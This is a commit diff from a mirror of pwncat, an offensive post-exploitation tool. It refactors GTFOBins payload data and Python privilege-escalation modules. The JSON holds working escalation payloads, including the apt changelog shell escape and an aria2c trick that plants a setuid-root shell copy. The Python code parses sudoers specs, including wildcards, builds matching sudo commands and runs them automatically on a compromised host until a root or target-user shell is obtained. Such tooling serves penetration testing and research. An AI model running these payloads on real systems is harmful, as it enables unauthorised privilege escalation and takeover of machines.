1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added sudo awareness to gtfobins and updated privesc/sudo to understand the new interface. Sudo now supports wildcard listings and can intelligently parse whether a privesc is possible.

This commit is contained in:
Caleb Stewart 2020-05-09 15:02:04 -04:00
parent 1b54ade0fb
commit 068c55f868
4 changed files with 228 additions and 58 deletions

View File

@ -1,8 +1,10 @@
[
{
"name": "bash",
"shell": "{sudo_prefix} {path} -p",
"sudo": "{sudo_prefix} {command}",
"shell": {
"script": "{command}",
"suid": ["-p"]
},
"read_file": "{path} -p -c \"cat {lfile}\"",
"write_file": {
"type": "base64",
@ -13,12 +15,7 @@
{
"name": "apt-get",
"shell": {
"enter": "{path} changelog apt",
"input": "!{shell}\n",
"exit": "exit\nq\n"
},
"sudo": {
"enter": "{sudo_prefix} {command} changelog apt",
"need": ["changelog", "apt"],
"input": "!{shell}\n",
"exit": "exit\nq\n"
}
@ -26,19 +23,16 @@
{
"name": "apt",
"shell": {
"enter": "{path} changelog apt",
"input": "!{shell}\n",
"exit": "exit\nq\n"
},
"sudo": {
"enter": "{sudo_prefix} {command} changelog apt",
"need": ["changelog", "apt"],
"input": "!{shell}\n",
"exit": "exit\nq\n"
}
},
{
"name": "aria2c",
"shell": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {path} --on-download-error=$TF http://x; sleep 1; $SHELL -p",
"sudo": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL\" > $TF;chmod +x $TF; {sudo_prefix} {command} --on-download-error=$TF http://x; sleep 1; $SHELL -p"
"shell": {
"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p",
"need": ["--on-download-error=$TF","http://x"]
}
}
]

View File

@ -1,12 +1,17 @@
#!/usr/bin/env python3
from typing import List, Dict, Any
from typing import List, Dict, Any, Callable
from shlex import quote
import binascii
import base64
import shlex
import json
import os
class SudoNotPossible(Exception):
""" Running the given binary to get a sudo shell is not possible """
class Binary:
_binaries: List[Dict[str, Any]] = []
@ -17,7 +22,13 @@ class Binary:
self.data = data
self.path = path
def shell(self, shell_path: str, sudo_prefix="") -> str:
def shell(
self,
shell_path: str,
sudo_prefix: str = None,
command: str = None,
suid: bool = False,
) -> str:
""" Build a a payload which will execute the binary and result in a
shell. `path` should be the path to the shell you would like to run. In
the case of GTFOBins that _are_ shells, this will likely be ignored, but
@ -28,22 +39,132 @@ class Binary:
return None
if isinstance(self.data["shell"], str):
enter = self.data["shell"]
script = self.data["shell"].format(shell=shell_path, command="{command}")
args = []
suid_args = []
exit = "exit"
input = ""
else:
enter = self.data["shell"]["enter"]
script = (
self.data["shell"]
.get("script", "{command}")
.format(shell=shell_path, command="{command}")
)
suid_args = self.data["shell"].get("suid", [])
args = [
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
]
exit = self.data["shell"].get("exit", "exit")
input = self.data["shell"].get("input", "input")
input = self.data["shell"].get("input", "")
if suid:
suid_args.extend(args)
args = suid_args
if script == "":
script = "{command}"
if command is None:
command = shlex.join([self.path] + args)
if sudo_prefix is not None:
command = sudo_prefix + " " + command
return (
enter.format(
path=quote(self.path), shell=quote(shell_path), sudo_prefix=sudo_prefix
),
input.format(shell=quote(shell_path)),
script.format(command=command),
input.format(shell=shlex.quote(shell_path)),
exit,
)
@property
def has_shell(self) -> bool:
""" Check if this binary has a shell method """
return "shell" in self.data
def can_sudo(self, command: str, shell_path: str) -> List[str]:
""" Checks if this command can be leveraged for a shell with sudo. The
GTFObin specification must include information on the sudo context. It
will check either:
* There are no parameters in the sudo specification, it succeeds.
* There are parameters, but ends in a start, we succeed (doesn't
guarantee successful shell, but is more likely)
* Parameters match exactly
"""
if not self.has_shell:
# We need to be able to run a shell
raise SudoNotPossible
# Split the sudo command specification
args = shlex.split(command.rstrip("*"))
# There was a " *" which is not a wildcard
if shlex.split(command)[-1] == "*":
has_wildcard = False
args.append("*")
elif command[-1] == "*":
has_wildcard = True
if isinstance(self.data["shell"], str):
need = [n.format(shell=shell_path) for n in shlex.split(self.data["shell"])]
restricted = []
else:
# Needed and restricted parameters
need = [
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
]
restricted = self.data["shell"].get("restricted", [])
# The sudo command is just "/path/to/binary", we are allowed to add any
# parameters we want.
if len(args) == 1 and command[-1] != " ":
return need
# Check for disallowed arguments
for arg in args:
if arg in restricted:
raise SudoNotPossible
# Check if we already have the parameters we need
needed = {k: False for k in need}
for arg in args:
if arg in needed:
needed[arg] = True
# Check if we have any missing needed parameters, and no wildcard
# was given
if any([not v for _, v in needed.items()]) and not has_wildcard:
raise SudoNotPossible
# Either we have all the arguments we need, or we have a wildcard
return [k for k, v in needed.items() if not v]
def sudo_shell(self, user: str, spec: str, shell_path: str) -> str:
""" Generate a payload to get a shell with sudo for this binary. This
can be complicated, since the sudo specification may include wildcards
or other parameters we don't want. We leverage the information in the
GTFObins JSON data to determine if it is possible (see `can_sudo`) and
then build a payload that should run under the given sudo specification.
"""
# If we can't this will raise an exception up to the caller
needed_args = self.can_sudo(spec, shell_path)
prefix = f"sudo -u {user}"
if spec.endswith("*") and not spec.endswith(" *"):
spec = spec.rstrip("*")
# There's more arguments we need, and we're allowed to pass them
if needed_args:
command = spec + " " + " ".join(needed_args)
else:
command = spec
command = prefix + " " + command
return self.shell(shell_path, command=command)
def sudo(self, sudo_prefix: str, command: str, shell_path: str) -> str:
""" Build a a payload which will execute the binary and result in a
shell. `path` should be the path to the shell you would like to run. In
@ -85,6 +206,11 @@ class Binary:
path=quote(self.path), lfile=quote(file_path)
)
@property
def has_read_file(self):
""" Check if this binary has a read_file capability """
return "read_file" in self.data
def write_file(self, file_path: str, data: bytes) -> str:
""" Build a payload to write the specified data into the file """
@ -109,6 +235,11 @@ class Binary:
data=quote(data.decode("utf-8")),
)
@property
def has_write_file(self):
""" Check if this binary has a write_file capability """
return "write_file" in self.data
def command(self, command: str) -> str:
""" Build a payload to execute the specified command """
@ -119,6 +250,11 @@ class Binary:
path=quote(self.path), command=quote(command)
)
@property
def has_command(self):
""" Check if this binary has a command capability """
return "command" in self.data
@classmethod
def load(cls, gtfo_path: str):
with open(gtfo_path) as filp:
@ -137,3 +273,42 @@ class Binary:
return Binary(path, binary)
return None
@classmethod
def find_sudo(cls, spec: str, get_binary_path: Callable[[str], str]) -> "Binary":
""" Locate a GTFObin binary for the given sudo spec. This will separate
out the path of the binary from spec, and use `find` to locate a Binary
object. If that binary cannot be used with this spec or no binary exists,
SudoNotPossible is raised. shell_path is used as the default for specs
which specify "ALL". """
if spec == "ALL":
# If the spec specifies any command, we check each known gtfobins
# binary for one usable w/ this sudo spec. We use recursion here,
# but never more than a depth of one, so it should be safe.
for data in cls._binaries:
# Resolve the binary path from the name
path = get_binary_path(data["name"])
# This binary doens't exist on the system
if path is None:
continue
try:
# Recurse using the path as the new spec (won't recurse
# again since spec is now a full path)
return cls.find_sudo(path, get_binary_path)
except SudoNotPossible:
pass
raise SudoNotPossible("no available gtfobins for ALL")
path = shlex.split(spec)[0]
binary = cls.find(path)
if binary is None:
raise SudoNotPossible(f"no available gtfobins for {spec}")
# This will throw an exception if we can't sudo with this binary
_ = binary.can_sudo(spec, "")
return spec, binary

View File

@ -130,7 +130,7 @@ class SetuidMethod(Method):
""" Run the specified technique """
binary = technique.ident
enter, exit = binary.shell("/bin/bash")
enter, input, exit = binary.shell(self.pty.shell, suid=True)
info(
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
@ -140,8 +140,13 @@ class SetuidMethod(Method):
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
# Run the start commands
self.pty.run(enter + "\n")
self.pty.recvuntil("\n")
self.pty.run(enter + "\n", wait=False)
# Send required input
self.pty.client.send(input.encode("utf-8"))
# Wait for result
self.pty.run("echo")
# sleep(0.1)
user = self.pty.run("whoami").strip().decode("utf-8")

View File

@ -182,17 +182,16 @@ class SudoMethod(Method):
if current_user["password"] is None and sudo_privesc["password"]:
continue
if sudo_privesc["command"] == "ALL":
command_path = self.pty.shell
else:
command_path = shlex.split(sudo_privesc["command"])[0]
binary = gtfobins.Binary.find(command_path)
if binary is None or binary.shell("") is None:
continue
if sudo_privesc["command"] == "ALL" and binary.shell("") is None:
continue
if sudo_privesc["command"] != "ALL" and binary.sudo("", "", "") is None:
try:
# Locate a GTFObins binary which satisfies the given sudo spec.
# The PtyHandler.which method is used to verify the presence of
# different GTFObins on the remote system when an "ALL" spec is
# found.
sudo_privesc["command"], binary = gtfobins.Binary.find_sudo(
sudo_privesc["command"], self.pty.which
)
except gtfobins.SudoNotPossible:
# No GTFObins possible with this sudo spec
continue
if sudo_privesc["run_as_user"] == "ALL":
@ -222,7 +221,7 @@ class SudoMethod(Method):
current_user = self.pty.current_user
binary, command, password_required = technique.ident
binary, sudo_spec, password_required = technique.ident
info(
f"attempting potential privesc with sudo {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
@ -231,15 +230,11 @@ class SudoMethod(Method):
before_shell_level = self.pty.run("echo $SHLVL").strip()
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
sudo_prefix = f"sudo -u {technique.user} "
if command == "ALL":
shell_payload, input, exit = binary.sudo_shell(
technique.user, sudo_spec, self.pty.shell
)
shell_payload, input, exit = binary.shell(
self.pty.shell, sudo_prefix=sudo_prefix
)
else:
payload, input, exit = binary.sudo(sudo_prefix, command, self.pty.shell)
shell_payload = f" {payload}"
print(shell_payload)
# Run the commands
self.pty.run(shell_payload + "\n", wait=False)
@ -250,23 +245,24 @@ class SudoMethod(Method):
# Provide stdin if needed
self.pty.client.send(input.encode("utf-8"))
# Give it a bit to let the shell start
# Give it a bit to let the shell start. We considered a sleep here, but
# that was not consistent. This will utilizes the logic in `run` for
# waiting for the output of the command (`echo`), which waits the
# appropriate amount of time.
self.pty.run("echo")
user = self.pty.whoami()
if user == technique.user:
success("privesc succeeded")
return exit
else:
error(f"privesc failed (still {user} looking for {technique.user})")
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = (
int(after_shell_level) if after_shell_level != b"" else 0
)
error(f"privesc failed (still {user} looking for {technique.user})")
if after_shell_level > before_shell_level:
info("exiting spawned inner shell")
self.pty.run(exit, wait=False) # here be dragons
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = int(after_shell_level) if after_shell_level != b"" else 0
if after_shell_level > before_shell_level:
info("exiting spawned inner shell")
self.pty.run(exit, wait=False) # here be dragons
raise PrivescError("failed to privesc")